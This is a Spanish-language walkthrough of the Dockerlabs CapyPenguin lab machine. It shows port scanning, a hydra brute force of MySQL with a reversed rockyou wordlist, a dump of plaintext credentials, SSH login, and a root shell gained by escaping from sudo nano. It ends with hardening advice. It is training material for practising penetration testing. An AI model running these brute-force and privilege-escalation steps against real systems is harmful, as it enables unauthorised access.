```
CAPYPENGUIN
```

DESPLIEGUE

Descargamos la máquina de Dockerlabs. Con unzip descomprimimos el zip

unzip walkingcms.zip

Y desplegamos el laboratorio con

bash auto_deploy.sh capypenguin.tar

1- CONECTIVIDAD

ping -c1 172.17.0.2

PING 172.17.0.2 (172.17.0.2) 56(84) bytes of data. 64 bytes from 172.17.0.2: icmp_seq=1 ttl=64 time=0.330 ms

--- 172.17.0.2 ping statistics --- 1 packets transmitted, 1 received, 0% packet loss, time 0ms rtt min/avg/max/mdev = 0.330/0.330/0.330/0.000 ms

IP DE LA MAQUINA VICTIMA 172.17.0.2

IP DE LA MAQUINA ATACANTE 192.168.0.26

2- ESCANEO DE PUERTOS

nmap -p- -Pn -sVCS --min-rate 5000 172.17.0.2 Starting Nmap 7.94SVN (https://nmap.org) at 2024-05-25 00:47 EDT Nmap scan report for 172.17.0.2 Host is up (0.00011s latency). Not shown: 65532 closed tcp ports (reset) PORT STATE SERVICE VERSION

22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)

80/tcp open http Apache httpd 2.4.52 ((Ubuntu))

3306/tcp open mysql MySQL 5.5.5-10.6.16-MariaDB-0ubuntu0.22.04.1

PUERTO 80

Al revisar el contenido de la web encontramos

Hola capybarauser, esta es una web de capybaras.He securizado mi password, ya no se encuentra al

comienzo del rockyou..., espero que nadie use el comando tac y se fije en las últimas passwords del rockyou

Capybara

Con lo que vamos a probar el comando tac que lo que hace es inevertir el orden. Me quedo solo con las 100

ultimas que al darles la vuelta son las 100 primeras. Ademas, con sudo nano, quito los caracteres

especiales de las primeras y guardo el archivo.

┌──(root kali)-[/home/kali/Desktop] └─# tac /usr/share/wordlists/rockyou.txt | head -n 100 > last100.txt

3- ENUMERACION DE SERVICIOS Y DIRECTORIOS

Usamos hydra para el usuario capybarauser

hydra -l capybarauser -P last100.txt mysql://172.17.0.2 - t 4

[3306][mysql] host: 172.17.0.2 login: capybarauser password: ie168

Utilizamos las credenciales obtenidas para conectarte al servicio Mysql

mysql -h 172.17.0.2 -u capybarauser -p

Enter password: Welcome to the MariaDB monitor. Commands end with ; or \g. Your MariaDB connection id is 43 Server version: 10.6.16-MariaDB-0ubuntu0.22.04.1 Ubuntu 22.04

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MariaDB [(none)]>

Una vez dentro, mostramos las bases de datos con

MariaDB [(none)]> show databases; +--------------------+ | Database | +--------------------+ | information_schema | | mysql | | performance_schema | | pinguinasio_db | | sys | +--------------------+ 5 rows in set (0.005 sec)

Seleccionamos una de las bases de datos

MariaDB [(none)]> use pinguinasio_db; Reading table information for completion of table and column names You can turn off this feature to get a quicker startup with -A

Database changed

Mostramos las tablas en esa base de datos

MariaDB [pinguinasio_db]> show tables; +--------------------------+ | Tables_in_pinguinasio_db | +--------------------------+ | users | +--------------------------+ 1 row in set (0.001 sec)

Seleccionamos los registros de esa tabla mario/pinguinomolon123 MariaDB [pinguinasio_db]> SELECT*FROM users; +----+-------+------------------+ | id | user | password | +----+-------+------------------+ | 1 | mario | pinguinomolon123 | +----+-------+------------------+ 1 row in set (0.001 sec)

mario/pinguinomolon123

Con estas credenciales intentamos acceder por ssh

ssh mario@172.17.0.2
@@@
@ WARNING: REMOTE HOST IDENTIFICATION HAS CHANGED! @
@@@
IT IS POSSIBLE THAT SOMEONE IS DOING SOMETHING NASTY! Someone could be eavesdropping on you right now (man-in-the-middle attack)! It is also possible that a host key has just been changed. The fingerprint for the ED25519 key sent by the remote host is SHA256:cVAfD3NT8Ui9tqlcjrEYGvrg/OCqqPzZTUGJVY/+bBA. Please contact your system administrator. Add correct host key in /root/.ssh/known_hosts to get rid of this message. Offending ECDSA key in /root/.ssh/known_hosts:15 remove with: ssh-keygen -f '/root/.ssh/known_hosts' -R '172.17.0.2' Host key for 172.17.0.2 has changed and you have requested strict checking. Host key verification failed.

Este mensaje de advertencia indica que la clave de host del servidor SSH al que intentas conectarte

ha cambiado desde la última vez que te conectaste a él. Esto puede suceder por varias razones, incluyendo:

1- El servidor ha sido reinstalado o se le ha cambiado la clave SSH: En este caso, la clave de host legítima ha cambiado. 2- Un ataque Man-in-the-Middle (MitM): Alguien podría estar interceptando tu conexión y presentando una clave diferente para hacerse pasar por el servidor legítimo.

Debido a esto, SSH está advirtiendo que hay un potencial riesgo de seguridad. Para resolver este problema, debemos eliminar la entrada de clave antigua del known_hosts y aceptar la nueva clave.

Con lo que ejecutamos el comando que nos proponen

ssh-keygen -f '/root/.ssh/known_hosts' -R '172.17.0.2'

Y volvemos a intentar la conexion

└─# ssh mario@172.17.0.2 mario@172.17.0.2's password: Welcome to Ubuntu 22.04.4 LTS (GNU/Linux 6.6.15-amd64 x86_64)

- Documentation: https://help.ubuntu.com
- Management: https://landscape.canonical.com
- Support: https://ubuntu.com/pro

This system has been minimized by removing packages and content that are not required on a system that users do not log into.

To restore this content, you can run the 'unminimize' command. Last login: Tue Apr 9 17:31:05 2024 from 172.17.0.1 mario@0ced213cae2c:~$

Lo logramos

4 -ESCALAMIENTO DE PRIVILEGIOS

Comprobamos los permisos sudo

mario@0ced213cae2c:~$ sudo -l User mario may run the following commands on 0ced213cae2c: (ALL : ALL) NOPASSWD: /usr/bin/nano

Vemos que podemos ejecutar nano con permisos sudo. Mirando en GTFOBins

https://gtfobins.github.io/

Proceso explicado

1- sudo nano y se abre el editor

2- Dentro de nano, presiona:

Ctrl+R Ctrl+X

3-En el prompt de comando que aparece, escribe:

reset; sh 1>&0 2>&0

Y presiona Enter.

Esto te dará una shell con privilegios elevados directamente desde nano.

[Executing...]# whoami

root

1. Recomendaciones para mejorar la seguridad de la máquina:

   Cambio de claves SSH:

   ```
    Asegúrate de que las claves SSH se cambien regularmente y que se utilicen claves fuertes.
    Implementa la rotación de claves SSH para evitar la reutilización de claves comprometidas.
   ```

   Seguridad en el acceso SSH:

   ```
    Desactiva el acceso SSH por contraseña y utiliza únicamente la autenticación por clave pública.
    Configura el servidor SSH para que solo acepte conexiones de hosts confiables.
   ```

   Protección de contraseñas:

   ```
    No almacenes contraseñas en texto claro en bases de datos. Utiliza técnicas de hashing y salting.
    Implementa políticas de contraseñas seguras, incluyendo longitud mínima, complejidad y expiración periódica.
   ```

   Permisos de sudo:

   ```
    Revisa y minimiza los permisos sudo. Permitir la ejecución de cualquier comando sin contraseña (NOPASSWD) debe ser evitado a menos que sea absolutamente necesario.
    Audita regularmente los permisos sudo para asegurarte de que los usuarios solo tengan los privilegios necesarios.
   ```

   Seguridad en servicios web:

   ```
    Asegúrate de que el servidor web y todas las aplicaciones estén actualizadas con los últimos parches de seguridad.
    Utiliza herramientas de análisis de vulnerabilidades para escanear y mitigar posibles riesgos.
   ```

   Monitoreo y registros:

   ```
    Implementa un sistema de monitoreo para detectar actividad sospechosa o accesos no autorizados.
    Mantén registros detallados de acceso y errores para permitir auditorías y análisis forense en caso de un incidente.
   ```

   Restricción de servicios:

   ```
    Limita los servicios y puertos expuestos solo a lo necesario. En este caso, considera restringir el acceso a MySQL solo a hosts específicos.
   ```

   Copia de seguridad y restauración:

```
 Implementa y prueba regularmente un plan de copias de seguridad y restauración para asegurarte de que los datos críticos se puedan recuperar en caso de un ataque o fallo del sistema.
```

2. Conclusiones sobre la máquina CapyPenguin:

La máquina CapyPenguin presenta un entorno típico de evaluación de seguridad, donde se expusieron varios servicios que permitieron la enumeración y explotación. La ruta de ataque incluyó la explotación de credenciales en el servicio MySQL, el uso de herramientas como hydra para crackeo de contraseñas y el uso de vulnerabilidades conocidas y técnicas de escalada de privilegios basadas en la configuración de sudo.

Proceso de ataque exitoso:

```
Escaneo de puertos: Identificación de servicios en los puertos 22 (SSH), 80 (HTTP) y 3306 (MySQL).
Enumeración web: Identificación de información útil en la página web.
Ataque de fuerza bruta: Uso de hydra para descubrir credenciales válidas para MySQL.
Explotación de MySQL: Acceso a la base de datos y obtención de credenciales adicionales.
Acceso SSH: Uso de credenciales obtenidas para acceder al sistema objetivo.
Escalada de privilegios: Utilización de permisos sudo mal configurados para obtener una shell con privilegios de root.
```

Este escenario resalta la importancia de una configuración y mantenimiento adecuados de la seguridad en todos los niveles del sistema, desde la infraestructura de red hasta las aplicaciones específicas y las políticas de gestión de usuarios. Implementar las recomendaciones anteriores puede ayudar a mitigar riesgos y proteger mejor los sistemas contra ataques similares.